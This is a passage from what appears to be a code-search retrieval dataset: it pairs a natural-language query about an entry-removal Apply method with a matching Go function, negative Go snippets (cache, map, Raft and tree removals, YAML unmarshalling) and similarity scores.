func(*preRecipe)\\n\\tsetID = func(ptr *preRecipe) {\\n\\t\\tptr.ID = counter\\n\\t\\tcounter++\\n\\t\\t//recurse into dependencies\\n\\t\\tfor k := 0; k < len(ptr.Ingrediants); k++ {\\n\\t\\t\\tsetID(&(ptr.Ingrediants[k]))\\n\\t\\t}\\n\\t}\\n\\tsetID(&pr)\\n\\tsteps, err := preRecipe2Steps(&pr)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\tR, err = steps2recipe(steps)\\n\\treturn\\n}\",\n \"func (s *MaporSpaceSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tparts, err := unmarshalToStringOrSepMapParts(unmarshal, \\\" \\\")\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*s = parts\\n\\treturn nil\\n}\",\n \"func UnmarshalYAML(yml []byte) (map[string]ZNode, error) {\\n\\tvar root map[string]ZNode\\n\\tvar err = yaml.Unmarshal(yml, &root)\\n\\treturn root, err\\n}\",\n \"func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"ParseKind should be a string\\\")\\n\\t}\\n\\tv, ok := _ParseKindNameToValue[s]\\n\\tif !ok {\\n\\t\\treturn fmt.Errorf(\\\"invalid ParseKind %q\\\", s)\\n\\t}\\n\\t*r = v\\n\\treturn nil\\n}\",\n \"func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\ttype C Scenario\\n\\tnewConfig := (*C)(c)\\n\\tif err := unmarshal(&newConfig); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif c.Database == nil {\\n\\t\\treturn fmt.Errorf(\\\"Database must not be empty\\\")\\n\\t}\\n\\tif c.Collection == nil {\\n\\t\\treturn fmt.Errorf(\\\"Collection must not be empty\\\")\\n\\t}\\n\\tswitch p := c.Parallel; {\\n\\tcase p == nil:\\n\\t\\tc.Parallel = Int(1)\\n\\tcase *p < 1:\\n\\t\\treturn fmt.Errorf(\\\"Parallel must be greater than or equal to 1\\\")\\n\\tdefault:\\n\\t}\\n\\tswitch s := c.BufferSize; {\\n\\tcase s == nil:\\n\\t\\tc.BufferSize = Int(1000)\\n\\tcase *s < 1:\\n\\t\\treturn fmt.Errorf(\\\"BufferSize must be greater than or equal to 1\\\")\\n\\tdefault:\\n\\t}\\n\\tswitch s := c.Repeat; {\\n\\tcase s == nil:\\n\\t\\tc.Repeat = Int(1)\\n\\tcase *s < 0:\\n\\t\\treturn fmt.Errorf(\\\"Repeat must be greater than or equal to 0\\\")\\n\\tdefault:\\n\\t}\\n\\tif len(c.Queries) == 0 {\\n\\t\\treturn fmt.Errorf(\\\"Queries must not be empty\\\")\\n\\t}\\n\\treturn nil\\n}\",\n \"func (i *UserGroupAccess) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UserGroupAccessString(s)\\n\\treturn err\\n}\",\n \"func (d *Duration) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tdur, err := ParseDuration(s)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*d = dur\\n\\treturn nil\\n}\",\n \"func (i *UOM) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\tvar s string\\n\\tif err := unmarshal(&s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar err error\\n\\t*i, err = UOMString(s)\\n\\treturn err\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6904662","0.661807","0.6496109","0.6340607","0.6314579","0.6303743","0.6287328","0.6287328","0.62627196","0.6259769","0.6248112","0.62178355","0.6203951","0.6186944","0.61710036","0.6132832","0.6103028","0.6102198","0.6100534","0.6087423","0.6077021","0.60640776","0.60638016","0.6055484","0.60515964","0.60489035","0.6048475","0.60428363","0.60352254","0.60277116","0.60122925","0.5988818","0.5986409","0.5981844","0.5981057","0.5978563","0.59781337","0.5977488","0.5976316","0.595005","0.59399366","0.5939511","0.5923325","0.59220403","0.5920907","0.59201264","0.59165573","0.5913581","0.59129447","0.59047127","0.5902822","0.58912635","0.5877478","0.58731115","0.58703387","0.5869133","0.5868156","0.585871","0.585871","0.585478","0.58505416","0.58482146","0.5846922","0.58450955","0.58332723","0.5831912","0.5830574","0.58205885","0.5809467","0.5802011","0.5801461","0.5799728","0.57996374","0.57984906","0.5794344","0.57881117","0.57831883","0.5781405","0.57754415","0.5774354","0.57659703","0.57617116","0.5736832","0.5732802","0.57279056","0.5725049","0.5717117","0.5701857","0.5697567","0.56824744","0.56774","0.56726605","0.56722873","0.5669193","0.5664941","0.5660014","0.5654832","0.5649913","0.56485367","0.5636088"],"string":"[\n \"0.6904662\",\n \"0.661807\",\n \"0.6496109\",\n \"0.6340607\",\n \"0.6314579\",\n \"0.6303743\",\n \"0.6287328\",\n \"0.6287328\",\n \"0.62627196\",\n \"0.6259769\",\n \"0.6248112\",\n \"0.62178355\",\n \"0.6203951\",\n \"0.6186944\",\n \"0.61710036\",\n \"0.6132832\",\n \"0.6103028\",\n \"0.6102198\",\n \"0.6100534\",\n \"0.6087423\",\n \"0.6077021\",\n \"0.60640776\",\n \"0.60638016\",\n \"0.6055484\",\n \"0.60515964\",\n \"0.60489035\",\n \"0.6048475\",\n \"0.60428363\",\n \"0.60352254\",\n \"0.60277116\",\n \"0.60122925\",\n \"0.5988818\",\n \"0.5986409\",\n \"0.5981844\",\n \"0.5981057\",\n \"0.5978563\",\n \"0.59781337\",\n \"0.5977488\",\n \"0.5976316\",\n \"0.595005\",\n \"0.59399366\",\n \"0.5939511\",\n \"0.5923325\",\n \"0.59220403\",\n \"0.5920907\",\n \"0.59201264\",\n \"0.59165573\",\n \"0.5913581\",\n \"0.59129447\",\n \"0.59047127\",\n \"0.5902822\",\n \"0.58912635\",\n \"0.5877478\",\n \"0.58731115\",\n \"0.58703387\",\n \"0.5869133\",\n \"0.5868156\",\n \"0.585871\",\n \"0.585871\",\n \"0.585478\",\n \"0.58505416\",\n \"0.58482146\",\n \"0.5846922\",\n \"0.58450955\",\n \"0.58332723\",\n \"0.5831912\",\n \"0.5830574\",\n \"0.58205885\",\n \"0.5809467\",\n \"0.5802011\",\n \"0.5801461\",\n \"0.5799728\",\n \"0.57996374\",\n \"0.57984906\",\n \"0.5794344\",\n \"0.57881117\",\n \"0.57831883\",\n \"0.5781405\",\n \"0.57754415\",\n \"0.5774354\",\n \"0.57659703\",\n \"0.57617116\",\n \"0.5736832\",\n \"0.5732802\",\n \"0.57279056\",\n \"0.5725049\",\n \"0.5717117\",\n \"0.5701857\",\n \"0.5697567\",\n \"0.56824744\",\n \"0.56774\",\n \"0.56726605\",\n \"0.56722873\",\n \"0.5669193\",\n \"0.5664941\",\n \"0.5660014\",\n \"0.5654832\",\n \"0.5649913\",\n \"0.56485367\",\n \"0.5636088\"\n]"},"document_score":{"kind":"string","value":"0.7814687"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106170,"cells":{"query":{"kind":"string","value":"Apply will perform the remove operation on an entry"},"document":{"kind":"string","value":"func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (c *RemoveCommand) Apply(raftServer *raft.Server) (interface{}, error) {\n\n\t// remove machine in etcd storage\n\tkey := path.Join(\"_etcd/machines\", c.Name)\n\n\t_, err := etcdStore.Delete(key, raftServer.CommitIndex())\n\n\t// delete from stats\n\tdelete(r.followersStats.Followers, c.Name)\n\n\tif err != nil {\n\t\treturn []byte{0}, err\n\t}\n\n\t// remove peer in raft\n\terr = raftServer.RemovePeer(c.Name)\n\n\tif err != nil {\n\t\treturn []byte{0}, err\n\t}\n\n\tif c.Name == raftServer.Name() {\n\t\t// the removed node is this node\n\n\t\t// if the node is not replaying the previous logs\n\t\t// and the node has sent out a join request in this\n\t\t// start. It is sure that this node received a new remove\n\t\t// command and need to be removed\n\t\tif raftServer.CommitIndex() > r.joinIndex && r.joinIndex != 0 {\n\t\t\tdebugf(\"server [%s] is removed\", raftServer.Name())\n\t\t\tos.Exit(0)\n\t\t} else {\n\t\t\t// else ignore remove\n\t\t\tdebugf(\"ignore previous remove command.\")\n\t\t}\n\t}\n\n\tb := make([]byte, 8)\n\tbinary.PutUvarint(b, raftServer.CommitIndex())\n\n\treturn b, err\n}","func (this *ObjectRemove) Apply(context Context, first, second value.Value) (value.Value, error) {\n\t// Check for type mismatches\n\tif first.Type() == value.MISSING || second.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if first.Type() != value.OBJECT || second.Type() != value.STRING {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\tfield := second.Actual().(string)\n\n\trv := first.CopyForUpdate()\n\trv.UnsetField(field)\n\treturn rv, nil\n}","func (op *OpMove) Apply(e *entry.Entry) error {\n\tval, ok := e.Delete(op.From)\n\tif !ok {\n\t\treturn fmt.Errorf(\"apply move: field %s does not exist on body\", op.From)\n\t}\n\n\treturn e.Set(op.To, val)\n}","func (e *entry) remove() {\n\tif e.logical != noAnchor {\n\t\tlog.Fatalf(\"may not remove anchor %q\", e.str)\n\t}\n\t// TODO: need to set e.prev.level to e.level if e.level is smaller?\n\te.elems = nil\n\tif !e.skipRemove {\n\t\tif e.prev != nil {\n\t\t\te.prev.next = e.next\n\t\t}\n\t\tif e.next != nil {\n\t\t\te.next.prev = e.prev\n\t\t}\n\t}\n\te.skipRemove = false\n}","func (c *DeleteCommand) Apply(context raft.Context) (interface{}, error) {\n\ts := context.Server().Context().(*Server)\n\tnextCAS, err := s.db.Delete(c.Path, c.CAS)\n\treturn nextCAS, err\n}","func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}","func (m *IndexedMap[PrimaryKey, Value, Idx]) Remove(ctx context.Context, pk PrimaryKey) error {\n\terr := m.unref(ctx, pk)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn m.m.Remove(ctx, pk)\n}","func (i *ImmediateCron) Remove(id cron.EntryID) {}","func (entry *Entry) Del() error {\n\t_, err := entry.Set.Parent.run(append([]string{\"del\", entry.Set.name()}, entry.Options...)...)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = entry.Set.Parent.Save()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}","func (pred *NotEqPredicate) Apply(c cm.Collection) error {\n\tcol := c.(*Table)\n\tcol.filterStatements = append(col.filterStatements,\n\t\tfmt.Sprintf(\"%s != ?\", pred.Column.Name()))\n\n\tcol.filterValues = append(col.filterValues, pred.Value)\n\n\treturn nil\n}","func (s *NetworkStore) RemoveEntry(name string) error {\n\tvar rmvIdx int\n\tfor idx, entry := range s.Store {\n\t\tif entry.Name == name {\n\t\t\trmvIdx = idx\n\t\t\tbreak\n\t\t}\n\t}\n\n\ts.Store = append(s.Store[:rmvIdx], s.Store[rmvIdx+1:]...)\n\n\treturn nil\n}","func (c *Controller) apply(key string) error {\n\titem, exists, err := c.indexer.GetByKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !exists {\n\t\treturn c.remove(key)\n\t}\n\treturn c.upsert(item, key)\n}","func (c *Cache) removeElement(e *list.Element) {\n\tc.evictList.Remove(e)\n\tkv := e.Value.(*Entry)\n\tdelete(c.mapping, kv.key)\n\tif c.onEvict != nil {\n\t\tc.onEvict(kv.key, kv.value)\n\t}\n}","func (s *DnsServer) RemoveFromEntry(name string, keywords []string, rType uint16) {\n\tc := s.NewControllerForName(dns.CanonicalName(name))\n\tc.DeleteRecords(keywords, rType)\n}","func (_obj *DataService) DeleteApply(wx_id string, club_id string, affectRows *int32, _opt ...map[string]string) (ret int32, err error) {\n\n\tvar length int32\n\tvar have bool\n\tvar ty byte\n\t_os := codec.NewBuffer()\n\terr = _os.Write_string(wx_id, 1)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\terr = _os.Write_string(club_id, 2)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\terr = _os.Write_int32((*affectRows), 3)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\tvar _status map[string]string\n\tvar _context map[string]string\n\tif len(_opt) == 1 {\n\t\t_context = _opt[0]\n\t} else if len(_opt) == 2 {\n\t\t_context = _opt[0]\n\t\t_status = _opt[1]\n\t}\n\t_resp := new(requestf.ResponsePacket)\n\ttarsCtx := context.Background()\n\n\terr = _obj.s.Tars_invoke(tarsCtx, 0, \"deleteApply\", _os.ToBytes(), _status, _context, _resp)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\t_is := codec.NewReader(tools.Int8ToByte(_resp.SBuffer))\n\terr = _is.Read_int32(&ret, 0, true)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\terr = _is.Read_int32(&(*affectRows), 3, true)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\n\tif len(_opt) == 1 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t} else if len(_opt) == 2 {\n\t\tfor k := range _context {\n\t\t\tdelete(_context, k)\n\t\t}\n\t\tfor k, v := range _resp.Context {\n\t\t\t_context[k] = v\n\t\t}\n\t\tfor k := range _status {\n\t\t\tdelete(_status, k)\n\t\t}\n\t\tfor k, v := range _resp.Status {\n\t\t\t_status[k] = v\n\t\t}\n\n\t}\n\t_ = length\n\t_ = have\n\t_ = ty\n\treturn ret, nil\n}","func (store *GSStore) Remove(key string, form GSType) error {\n\n}","func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}","func (op *OpFlatten) Apply(e *entry.Entry) error {\n\tparent := op.Field.Parent()\n\tval, ok := e.Delete(op.Field)\n\tif !ok {\n\t\t// The field doesn't exist, so ignore it\n\t\treturn fmt.Errorf(\"apply flatten: field %s does not exist on body\", op.Field)\n\t}\n\n\tvalMap, ok := val.(map[string]interface{})\n\tif !ok {\n\t\t// The field we were asked to flatten was not a map, so put it back\n\t\terr := e.Set(op.Field, val)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"reset non-map field\")\n\t\t}\n\t\treturn fmt.Errorf(\"apply flatten: field %s is not a map\", op.Field)\n\t}\n\n\tfor k, v := range valMap {\n\t\terr := e.Set(parent.Child(k), v)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}","func (m mapImports) Remove(key string, match string) {\n\tmp := m[key]\n\tfor idx := 0; idx < len(mp.standard); idx++ {\n\t\tif mp.standard[idx] == match {\n\t\t\tmp.standard[idx] = mp.standard[len(mp.standard)-1]\n\t\t\tmp.standard = mp.standard[:len(mp.standard)-1]\n\t\t\tbreak\n\t\t}\n\t}\n\tfor idx := 0; idx < len(mp.thirdParty); idx++ {\n\t\tif mp.thirdParty[idx] == match {\n\t\t\tmp.thirdParty[idx] = mp.thirdParty[len(mp.thirdParty)-1]\n\t\t\tmp.thirdParty = mp.thirdParty[:len(mp.thirdParty)-1]\n\t\t\tbreak\n\t\t}\n\t}\n\n\t// delete the key and return if both import lists are empty\n\tif len(mp.thirdParty) == 0 && len(mp.standard) == 0 {\n\t\tdelete(m, key)\n\t\treturn\n\t}\n\n\tm[key] = mp\n}","func (c *Consistent) remove(elt string) {\n\tfor i := 0; i < c.NumberOfReplicas; i++ {\n\t\tdelete(c.circle, c.hashKey(c.eltKey(elt, i)))\n\t}\n\tdelete(c.members, elt)\n\tc.updateSortedHashes()\n\tc.count--\n}","func Remove(name string) error","func (e *entry) remove() {\n\te.prev.next = e.next\n\te.next.prev = e.prev\n\te.prev = nil\n\te.next = nil\n}","func (sb *shardBuffer) remove(toRemove *entry) {\n\tsb.mu.Lock()\n\tdefer sb.mu.Unlock()\n\n\tif sb.queue == nil {\n\t\t// Queue is cleared because we're already in the DRAIN phase.\n\t\treturn\n\t}\n\n\t// If entry is still in the queue, delete it and cancel it internally.\n\tfor i, e := range sb.queue {\n\t\tif e == toRemove {\n\t\t\t// Delete entry at index \"i\" from slice.\n\t\t\tsb.queue = append(sb.queue[:i], sb.queue[i+1:]...)\n\n\t\t\t// Cancel the entry's \"bufferCtx\".\n\t\t\t// The usual drain or eviction code would unblock the request and then\n\t\t\t// wait for the \"bufferCtx\" to be done.\n\t\t\t// But this code path is different because it's going to return an error\n\t\t\t// to the request and not the \"e.bufferCancel\" function i.e. the request\n\t\t\t// cannot cancel the \"bufferCtx\" itself.\n\t\t\t// Therefore, we call \"e.bufferCancel\". This also avoids that the\n\t\t\t// context's Go routine could leak.\n\t\t\te.bufferCancel()\n\t\t\t// Release the buffer slot and close the \"e.done\" channel.\n\t\t\t// By closing \"e.done\", we finish it explicitly and timeoutThread will\n\t\t\t// find out about it as well.\n\t\t\tsb.unblockAndWait(e, nil /* err */, true /* releaseSlot */, false /* blockingWait */)\n\n\t\t\t// Track it as \"ContextDone\" eviction.\n\t\t\tstatsKeyWithReason := append(sb.statsKey, string(evictedContextDone))\n\t\t\trequestsEvicted.Add(statsKeyWithReason, 1)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Entry was already removed. Keep the queue as it is.\n}","func (tb *tableManager) remove(keyIn uint64) error {\n\tkey, ok := CleanKey(keyIn)\n\tif !ok {\n\t\tlog.Println(\"Key out of range.\")\n\t\treturn errors.New(\"Key out of range.\")\n\t}\n\tentry, ok := tb.data[key]\n\tif !ok {\n\t\tlog.Println(\"Key not found in table.\")\n\t\treturn errors.New(\"Key not found in table.\")\n\t}\n\n\ttb.removeFromLRUCache(entry)\n\tdelete(tb.data, key)\n\treturn nil\n}","func (list *List) Remove(e Entity) {\n\tdelete(list.m, e.Index())\n}","func (this *MyHashMap) Remove(key int) {\n\tindex := key & (this.b - 1)\n\tremoveIndex := 0\n\tremove := false\n\tfor e := range this.bucket[index] {\n\t\tif this.bucket[index][e].key == key {\n\t\t\tremoveIndex = e\n\t\t\tremove = true\n\t\t\tbreak\n\t\t}\n\t}\n\tif remove {\n\t\tthis.bucket[index] = append(this.bucket[index][:removeIndex], this.bucket[index][removeIndex+1:]...)\n\t}\n}","func (b *Batch) Remove(filter Filter, comps ...ID) {\n\tb.world.exchangeBatch(filter, nil, comps)\n}","func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}","func (h *Hostman) Remove(entries Entries) error {\n\treturn h.enableOrDisableEntries(entries, \"remove\")\n}","func (e *Entry) remove(c connection.Connection) {\n\te.connSync.Lock()\n\tdefer e.connSync.Unlock()\n\tif _, ok := e.idle[c.String()]; ok {\n\t\tc.Remove(e.listener[c.String()])\n\t\tdelete(e.idle, c.String())\n\t\tdelete(e.listener, c.String())\n\t}\n\treturn\n}","func (thread *Thread) OnRemove(ctx aero.Context, key string, index int, obj interface{}) {\n\tonRemove(thread, ctx, key, index, obj)\n}","func (t *txLookUp) Remove(h common.Hash, removeType hashOrderRemoveType) {\n\tt.mu.Lock()\n\tdefer t.mu.Unlock()\n\n\tt.remove(h, removeType)\n}","func (b *DirCensus) Remove(when interface{}, key Key) Population {\n\tc := b.MemCensus.Remove(when, key)\n\n\tif c.Count == 0 && b.IsRecorded(c.Key) {\n\t\tb.Record(c)\n\t}\n\treturn c\n}","func (c *LruCache) removeElement(e *list.Element) {\n\tc.evictList.Remove(e)\n\tkv := e.Value.(*entry)\n\tdelete(c.cache, kv.key)\n\tif c.onEvict != nil {\n\t\tc.onEvict(kv.key, kv.value)\n\t}\n}","func (c Collector) Remove(k string) {\n\tif c.Has(k) {\n\t\tdelete(c, k)\n\t}\n}","func (f UnFunc) Apply(ctx context.Context, data interface{}) (interface{}, error) {\n\treturn f(ctx, data)\n}","func (c *EntryCache) Remove(name string) error {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\te, present := c.entries[name]\n\tif !present {\n\t\treturn fmt.Errorf(\"entry '%s' is not in the cache\", name)\n\t}\n\te.mu.Lock()\n\tdelete(c.entries, name)\n\thashes, err := allHashes(e, c.hashes)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, h := range hashes {\n\t\tdelete(c.lookupMap, h)\n\t}\n\tc.log.Info(\"[cache] Removed entry for '%s' from cache\", name)\n\treturn nil\n}","func (fs *memoryCacheFilesystem) removeElement(ent *list.Element) {\n\tfs.evictList.Remove(ent)\n\tcent := ent.Value.(*centry)\n\tfs.size -= cent.file.fi.Size()\n\tdelete(fs.cache, cent.name)\n\tfs.invalidator.Del(cent)\n}","func (e *ExpenseModel) Remove(filter interface{}) (int64, error) {\n\tcollection := e.db.Client.Database(e.db.DBName).Collection(\"expenses\")\n\tdeleteResult, err := collection.DeleteOne(context.TODO(), filter)\n\tif err != nil {\n\t\tlog.Fatal(\"Error on deleting one expense\", err)\n\t\treturn 0, err\n\t}\n\treturn deleteResult.DeletedCount, nil\n}","func (r *Repository) RemoveFromIndex(e *StatusEntry) error {\n\tif !e.Indexed() {\n\t\treturn ErrEntryNotIndexed\n\t}\n\tindex, err := r.essence.Index()\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := index.RemoveByPath(e.diffDelta.OldFile.Path); err != nil {\n\t\treturn err\n\t}\n\tdefer index.Free()\n\treturn index.Write()\n}","func (wectxs *WorkflowContextsMap) Remove(id int64) int64 {\n\twectxs.safeMap.Delete(id)\n\treturn id\n}","func (r *Report) remove(item *summarize.ElementStr) {\n\tret := ReportItem{\n\t\tName: item.Name,\n\t\tBefore: item.String(),\n\t}\n\t// TODO: compress this table if possible after all diffs have been\n\t// accounted for.\n\tswitch item.Kind {\n\tcase \"library\", \"const\", \"bits\", \"enum\", \"struct\",\n\t\t\"table\", \"union\", \"protocol\", \"alias\",\n\t\t\"struct/member\", \"table/member\", \"bits/member\",\n\t\t\"enum/member\", \"union/member\", \"protocol/member\":\n\t\tret.Conclusion = APIBreaking\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Report.remove: unknown kind: %+v\", item))\n\t}\n\tr.addToDiff(ret)\n}","func (c *jsiiProxy_CfnStackSet) ApplyRemovalPolicy(policy awscdk.RemovalPolicy, options *awscdk.RemovalPolicyOptions) {\n\t_jsii_.InvokeVoid(\n\t\tc,\n\t\t\"applyRemovalPolicy\",\n\t\t[]interface{}{policy, options},\n\t)\n}","func (s *SweepPruneSet[T]) Remove(id SweepPruneItemID) {\n\titemIndex := uint32(id)\n\titem := &s.items[itemIndex]\n\titem.Position = dprec.Vec3{\n\t\tX: math.Inf(+1),\n\t\tY: math.Inf(+1),\n\t\tZ: math.Inf(+1),\n\t}\n\titem.Radius = 1.0\n\tvar zeroV T\n\titem.Value = zeroV\n\ts.dirtyItemIDs[itemIndex] = struct{}{}\n\ts.freeItemIDs.Push(itemIndex)\n}","func (g *Group) RemoveEntry(e *Entry) error {\n\tvar ok bool\n\tg.entries, ok = removeEntry(g.entries, e)\n\tif !ok {\n\t\treturn fmt.Errorf(\"keepass: removing entry %s (id=%v): not in group %s (id=%d)\", e.Title, e.UUID, g.Name, g.ID)\n\t}\n\tg.db.entries, _ = removeEntry(g.db.entries, e)\n\te.db = nil\n\treturn nil\n}","func (sset *SSet) Remove(value interface{}) {\n\tkey := sset.f(value)\n\tif index, found := sset.m_index[key]; found {\n\t\tsset.list.Remove(index)\n\t\tsset.m.Remove(key)\n\t\tdelete(sset.m_index, key)\n\t\tsset.fixIndex()\n\t}\n}","func (txn *levelDBTxn) Remove(key string) error {\n\ttxn.mu.Lock()\n\tdefer txn.mu.Unlock()\n\n\ttxn.batch.Delete([]byte(key))\n\treturn nil\n}","func (c *Consistent) Remove(elt string) {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.remove(elt)\n}","func (c *Consistent) Remove(elt string) {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.remove(elt)\n}","func (tree *Tree) Remove(key interface{}) {\n\tvar child *Node\n\tnode := tree.lookup(key)\n\tif node == nil {\n\t\treturn\n\t}\n\tif node.Left != nil && node.Right != nil {\n\t\tpred := node.Left.maximumNode()\n\t\tnode.Key = pred.Key\n\t\tnode.Value = pred.Value\n\t\tnode = pred\n\t}\n\tif node.Left == nil || node.Right == nil {\n\t\tif node.Right == nil {\n\t\t\tchild = node.Left\n\t\t} else {\n\t\t\tchild = node.Right\n\t\t}\n\t\tif node.color == black {\n\t\t\tnode.color = nodeColor(child)\n\t\t\ttree.deleteCase1(node)\n\t\t}\n\t\ttree.replaceNode(node, child)\n\t\tif node.Parent == nil && child != nil 